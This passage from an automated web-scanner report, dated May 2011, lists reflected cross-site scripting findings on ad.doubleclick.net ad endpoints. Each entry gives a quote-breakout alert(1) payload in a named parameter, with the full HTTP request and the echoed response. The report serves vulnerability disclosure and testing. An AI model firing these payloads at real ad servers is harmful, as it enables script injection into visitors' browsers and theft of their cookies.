4.83. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2eb4a'-alert(1)-'d0b3f201f7b was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=2eb4a'-alert(1)-'d0b3f201f7b HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 4690
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 10 May 2011 14:23:50 GMT
Expires: Tue, 10 May 2011 14:23:50 GMT

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=2eb4a'-alert(1)-'d0b3f201f7bhttp://www.fingerhut.com/user/pre_screen_credit.jsp?&CTid=471&CTKey=orange_ps1&CTMedia=x1&CTProgType=mplus1&CTUnitSize=728x90&CTTestGrp=flash&cm_mmc=x1-_-mplus1-_-728x90-_-flash';
var target = '_blank'
...[SNIP]...

4.84. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88377'-alert(1)-'3f5c4b8ff31 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==88377'-alert(1)-'3f5c4b8ff31&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:17:47 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
alttext = '';
var dcgif = 'http://s0.2mdn.net/1887566/728x90_ps1_static.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==88377'-alert(1)-'3f5c4b8ff31&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTM
...[SNIP]...

4.85. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [_ct parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the _ct request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 37231'-alert(1)-'f44b3b871cd was submitted in the _ct parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel37231'-alert(1)-'f44b3b871cd&adid=157922&action=2&publisherid=75434&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:01:27 GMT
Content-Length: 9638

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
jIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel37231'-alert(1)-'f44b3b871cd&adid=157922&action=2&publisherid=75434&REDIR=http%3a%2f%2fwww.htc.com/us/products/inspire-att%3F+extcid%3DAlwaysOn-Inspire-Disp\">
...[SNIP]...

4.86. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [_ct parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the _ct request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fed29"-alert(1)-"94460839f3f was submitted in the _ct parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixelfed29"-alert(1)-"94460839f3f&adid=157922&action=2&publisherid=75434&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:01:23 GMT
Content-Length: 9671

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
jIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixelfed29"-alert(1)-"94460839f3f&adid=157922&action=2&publisherid=75434&REDIR=http%3a%2f%2fwww.htc.com/us/products/shift-sprint%3Fextcid%3DAlwaysOn-EvoShift-Disp");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "o
...[SNIP]...

4.87. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [action parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the action request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 299fc'-alert(1)-'6648808f3bc was submitted in the action parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922&action=2299fc'-alert(1)-'6648808f3bc&publisherid=75434&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:03:03 GMT
Content-Length: 9608

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
c9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922&action=2299fc'-alert(1)-'6648808f3bc&publisherid=75434&REDIR=http%3a%2f%2fwww.htc.com/us/products/evo-sprint%3Fextcid062410disEvo\">
...[SNIP]...

4.88. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [action parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the action request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e5aa5"-alert(1)-"09eef8f8eae was submitted in the action parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922&action=2e5aa5"-alert(1)-"09eef8f8eae&publisherid=75434&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:02:59 GMT
Content-Length: 9638

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
c9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922&action=2e5aa5"-alert(1)-"09eef8f8eae&publisherid=75434&REDIR=http%3a%2f%2fwww.htc.com/us/products/inspire-att%3F+extcid%3DAlwaysOn-Inspire-Disp");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
...[SNIP]...

4.89. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [adid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N4568.ADCONION/B5119479.6

Issue detail

The value of the adid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload af647"-alert(1)-"58d642c26dc was submitted in the adid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adj/N4568.ADCONION/B5119479.6;sz=160x600;click=http://ad.amgdgt.com/ads/t=c/s=AAAAAQAUEKeTjuLRzSJkz__TpD_.7yvkZZtnZW8sdXNhLHQsMTMwNTAzNDExMDQ3OSxjLDMyMTAxOCxwYyw3NTQzNCxhYywxNTc5MjIsbyxOMC1TMCxsLDU2OTQzLHBjbGljaywiaHR0cDovL2FkLmRvdWJsZWNsaWNrLm5ldC9jbGljaztoPXY4LzNiMDMvMy8wLyovYTsyMzk2MzczOTg7MC0wOzE7NTUyNzE4NTk7MjMyMS0xNjAvNjAwOzQwNjk0ODQ2LzQwNzEyNjMzLzE7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTt.b2t2PTtuZXQ9bnM7dT0sbnMtMzc5NTcxNzNfMTMwNTAzNDEwNywxMWY4ZjMyODk0MDk4OWUsaXRkZXdlYixucy5pN2t0LWR4LjE2LWR4LjIzLWR4LjE3LW1tLmFnMS1tbS5hazEtbW0uYW0xLW1tLmFxMTs7cHBvcz1hdGY7a3c9O3RpbGU9MztjbXc9bnVybDtzej0xMjB4NjAwLDE2MHg2MDA7bmV0PW5zO29yZDE9NDg4NTIxO2NvbnR4PWl0ZGV3ZWI7ZGM9dztidGc9bnMuaTdrdDtidGc9ZHguMTY7YnRnPWR4LjIzO2J0Zz1keC4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922af647"-alert(1)-"58d642c26dc&action=2&publisherid=75434&REDIR=;ord=1654768130? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/features/881740/google_io_what_to_expect.html?9024e%22-alert(1)-%22aa98b9cf3ba=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: application/x-javascript
Date: Tue, 10 May 2011 14:02:09 GMT
Content-Length: 9697

document.write('\r\n\r\n<script src=\"http://s0.2mdn.net/
...[SNIP]...
C4xNztidGc9bW0uYWcxO2J0Zz1tbS5hazE7YnRnPW1tLmFtMTtidGc9bW0uYXExO35hb3B0PTYvMS9mZi8xO35zc2NzPT8iCg--/clkurl=http://p.brilig.com/contact/bct?pid=1396D8DB-964D-4D7C-9BB6-467005273112&_ct=pixel&adid=157922af647"-alert(1)-"58d642c26dc&action=2&publisherid=75434&REDIR=http%3a%2f%2fwww.htc.com/us/products/evo-sprint%3Fextcid062410disEvo");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var
...[SNIP]...

4.90. http://ad.doubleclick.net/adj/N4568.ADCONION/B5119479.6 [adid parameter] previous next

Summary
